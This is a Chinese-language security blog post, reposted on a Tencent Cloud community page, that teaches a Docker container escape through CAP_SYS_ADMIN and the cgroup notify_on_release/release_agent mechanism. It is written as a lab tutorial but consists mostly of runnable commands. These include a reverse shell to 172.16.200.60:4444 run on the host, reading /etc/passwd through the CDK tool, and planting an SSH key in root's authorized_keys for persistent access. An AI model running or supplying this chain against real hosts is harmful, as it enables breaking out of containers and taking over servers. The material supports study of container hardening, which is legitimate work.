Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸

作者头像
谢公子
发布于 2023-09-01 01:43:58
发布于 2023-09-01 01:43:58
1.2K00
代码可运行
举报
文章被收录于专栏:谢公子学安全谢公子学安全
运行总次数:0
代码可运行

容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。

环境搭建

执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest

在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability

也可以手动检测Capability

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cat /proc/self/status | grep CapEff
capsh --decode=00000000a82425fb

利用notify-on-release进行容器逃逸

在容器内挂载宿主机cgroup的memory

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#将cgroup进行挂载
mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test
#接着我们在挂载的目录下再创建一个子进程,主要攻击目标应在子进程内,因为攻击的过程需要将cgroup下所有的task清除,所以在同样环境的子进程内进行更加合理安全
mkdir /tmp/test/x

第二步就需要我们设置notify_on_release文件内容为1,设置release_agent文件的对应路径为宿主机的可写目录upperdir

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo 1 > /tmp/test/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/test/release_agent

其中,cmd为需要宿主机执行的命令,本次使用sh反弹shell:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
echo '#!/bin/sh' > /cmd
echo 'sh -i >& /dev/tcp/172.16.200.60/4444 0>&1' >> /cmd
chmod a+x /cmd

清除cgroup.procs中的进程,触发release_agent执行cmd文件进行反弹shelll。该命令启动一个sh进程,将sh进程的PID写入到/tmp/test/x/cgroup.procs中。这里的\$\$表示sh进程的PID。在执行完sh -c后,sh进程会自动退出,这样Cgroup /tmp/test/x 中就不再包含任何任务,/tmp/test/release_agent文件里的shell将被操作系统执行。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sh -c "echo \$\$ > /tmp/test/x/cgroup.procs"

也可以使用CDK来执行命令。CDK会劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./cdk run mount-cgroup "cat /etc/passwd"

可以写入公钥文件,注意这里最后需要加个 |

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./cdk run mount-cgroup "echo 'ssh-rsa xx    '>> /root/.ssh/authorized_keys | "

但是还不能免密登录,由于等过这种方式写的公钥文件权限的原因,还需要之行如下命令进行权限修改。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
./cdk run mount-cgroup "chmod 644 /root/.ssh/authorized_keys"
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-06-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
浅析docker的多种逃逸方法
Docker实现原理:https://zone.huoxian.cn/d/1034-docker
UzJu@菜菜狗
2022/04/25
6.5K0
浅析docker的多种逃逸方法
CAP_SYS_ADMIN之重写devices.allow进行容器逃逸
当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。
谢公子
2023/09/01
1K0
CAP_SYS_ADMIN之重写devices.allow进行容器逃逸
【云原生攻防研究】针对容器的渗透测试方法
近期笔者在进行相关调研时,读到一篇总结容器环境下渗透测试方法的2020年毕业论文,作者是Joren Vrancken,就读于荷兰奈梅亨大学计算机科学专业。
绿盟科技研究通讯
2020/04/26
2.6K0
【云原生攻防研究】针对容器的渗透测试方法
9 个容器环境安全红队常用手法总结
随着云原生的火热,容器及容器编排平台的安全也受到了行业关注,Gartner在近期发布的《K8s安全防护指导框架》中给出K8s安全的8个攻击面,总结如下:
iMike
2021/12/18
1.4K0
9 个容器环境安全红队常用手法总结
linux Cgroup使用介绍
Control Groups提供了一种机制,可以把task以及他们的子task聚集或者分组成带有特定行为的hierarchical groups。
用户1141344
2019/02/21
5.6K0
容器的本质
使用NameSpace技术来修改进程视图,创建出独立的文件系统、主机名、进程号、网络等资源空间,再使用Cgroups来实现对进程的 CPU、内存等资源的优先级和配额限制,最后使用chroot更改进程的根目录,也就是限制访问文件系统
编程黑洞
2023/03/06
3180
Container (Docker) is Process or Virtual Machine
Docker 是虚拟机吗?Docker 底层用了哪些关键技术?容器逃逸逃的是什么?
wywwzjj
2023/05/09
1.1K0
Container (Docker) is Process or Virtual Machine
记一次docker虚拟机横向移动渗透测试
本次渗透在几个docker虚拟机间多次横向移动,最终找到了一个可以进行docker逃逸的出口,拿下服务器。渗透过程曲折但充满了乐趣,入口是172.17.0.6的docker虚拟机,然后一路横向移动,最终在172.17.0.2出实现了docker逃逸,简单画了一个思维导图,方便大家阅读全文。(因版权问题,靶机隐去,但不影响阅读)
亿人安全
2022/12/22
6880
记一次docker虚拟机横向移动渗透测试
如何在 Go 中使用 CGroup 实现进程内存控制
从 Linux 内核 2.6.25 开始,CGroup 支持对进程内存的隔离和限制,这也是 Docker 等容器技术的底层支撑。
Laikee
2022/05/17
2.3K0
红蓝对抗中的云原生漏洞挖掘及利用实录
2020年年末的时候,我们于CIS2020上分享了议题《Attack in a Service Mesh》讲述我们在近一年红蓝对抗演练中所遇到的云原生企业架构以及我们在服务网格攻防场景沉淀下来的一些方法论。回顾近几年腾讯蓝军在云原生安全上的探索和沉淀,我们在2018年的时候开始正式投入对Serverless和容器编排技术在攻防场景的预研,并把相关的沉淀服务于多个腾讯基础设施和产品之上,而在近期内外部的红蓝对抗演练中腾讯蓝军也多次依靠在云原生场景上的漏洞挖掘和漏洞利用,进而突破防御进入到内网或攻破核心靶标;特别是2020年度的某云安全演习更是通过云原生的安全问题才一举突破层层对抗进入内网。
腾讯安全应急响应中心
2021/03/02
1.7K0
红蓝对抗中的云原生漏洞挖掘及利用实录
技术干货 | Docker 容器逃逸案例汇集
当获得一个Webshell,我们的攻击点可能处于服务器的一个虚拟目录里,一台虚拟机或是一台物理机,甚至是在一个Docker容器里。
Bypass
2020/08/09
3K0
画地为牢,细谈VM和容器
接下来的几篇,二哥和大家聊聊容器的一些概念和容器安全。云原生看起来是横空出世,但如果仔细看看在这个概念出来之前的技术迭代和演进,我们会发现这一切冥冥之中早已安排。前人在“虚拟化”、“不可变基础设施”、“微服务”、“容器”、“容器编排”等领域各种各样的尝试使得云原生的诞生成为必然。
LanceZhang
2021/12/06
8170
画地为牢,细谈VM和容器
使用 Go 和 Linux Kernel 技术探究容器化原理
传统模式的部署,直接将多个应用运行在物理服务器上,如果其中一个应用占用了大部分资源,可能会导致其他应用的性能下降。
gopher云原生
2022/06/08
1.7K0
使用 Go 和 Linux Kernel 技术探究容器化原理
Docker原理之CGroups
我们通过 Linux 的命名空间为新创建的进程隔离了文件系统、网络并与宿主机器之间的进程相互隔离,但是命名空间并不能够为我们提供物理资源上的隔离,比如 CPU 或者内存,如果在同一台机器上运行了多个对彼此以及宿主机器一无所知的『容器』,这些容器却共同占用了宿主机器的物理资源。
栗筝i
2022/12/01
8590
Docker原理之CGroups
操作系统级虚拟化概述
操作系统级虚拟化 KVM、XEN等虚拟化技术允许各个虚拟机拥有自己独立的操作系统。与KVM、XEN等虚拟化技术不同,所谓操作系统级虚拟化,也被称作容器化,是操作系统自身的一个特性,它允许多个相互隔离的用户空间实例的存在。这些用户空间实例也被称作为容器。普通的进程可以看到计算机的所有资源而容器中的进程只能看到分配给该容器的资源。通俗来讲,操作系统级虚拟化将操作系统所管理的计算机资源,包括进程、文件、设备、网络等分组,然后交给不同的容器使用。容器中运行的进程只能看到分配给该容器的资源。从而达到隔离与虚拟化的目的
宅蓝三木
2018/02/07
2.1K0
测试用 - 4.使用eBPF逃逸容器技术分析与实践
容器安全是一个庞大且牵涉极广的话题,而容器的安全隔离往往是一套纵深防御的体系,牵扯到 AppArmor、Namespace、Capabilities、Cgroup、Seccomp 等多项内核技术和特性,但安全却是一处薄弱则全盘皆输的局面,一个新的内核特性可能就会让看似无懈可击的防线存在突破口。随着云原生技术的快速发展,越来越多的容器运行时组件在新版本中会默认配置 AppArmor 策略,原本我们在《红蓝对抗中的云原生漏洞挖掘及利用实录》介绍的多种容器逃逸手法会逐渐失效;因此我们希望能碰撞出一些攻击手法,进而突破新版本容器环境的安全能力,并使用更契合容器集群的新方式把 “任意文件写” 转化为“远程代码执行”,从而提前布防新战场。
用户3830325
2022/12/20
8030
容器基础之cgroups学习(一)
Linux cgroups 的全称是 Linux Control Groups,它是 Linux 内核的特性,主要作用是限制、记录和隔离进程组(process groups)使用的物理资源(cpu、memory、IO 等)。2006 的时候,Google 的一些工程师(主要是 Paul Menage 和 Rohit Seth)启动了这个项目,最初的名字叫 process containers。因为 container 在内核中名字有歧义,2007 的时候改名为 control groups,并合并到 2008 年发布的 2.6.24 内核版本。最初 cgroups 的版本被称为 v1,这个版本的 cgroups 设计并不友好,理解起来非常困难。后续的开发工作由 Tejun Heo 接管,他重新设计并重写了 cgroups,新版本被称为 v2,并首次出现在 kernel 4.5 版本。
dogfei
2020/07/31
1.2K0
容器基础之cgroups学习(一)
Docker容器逃逸
由于传播、利用本公众号亿人安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号亿人安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
亿人安全
2023/12/25
8070
Docker容器逃逸
Docker容器实现原理
容器技术的核心功能,就是通过约束和修改进程的动态表现,从而为其创造出一个“边界”。在Docker中使用了Namespace 技术来修改进程视图从而达到进程隔离的目的。
luozhiyun
2020/07/16
1.4K1
Docker基础原理
Docker是一个开源的软件项目,让用户程序部署在一个相对隔离的环境运行,借此在Linux操作系统上提供一层额外的抽象,以及操作系统层虚拟化的自动管理机制。需要额外指出的是,Docker并不等于容器(containers),Docker只是容器的一种,其他的种类的容器还有Kata container,Rocket container等等。
用户2937493
2019/09/10
1.3K0
Docker基础原理
相关推荐
浅析docker的多种逃逸方法
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验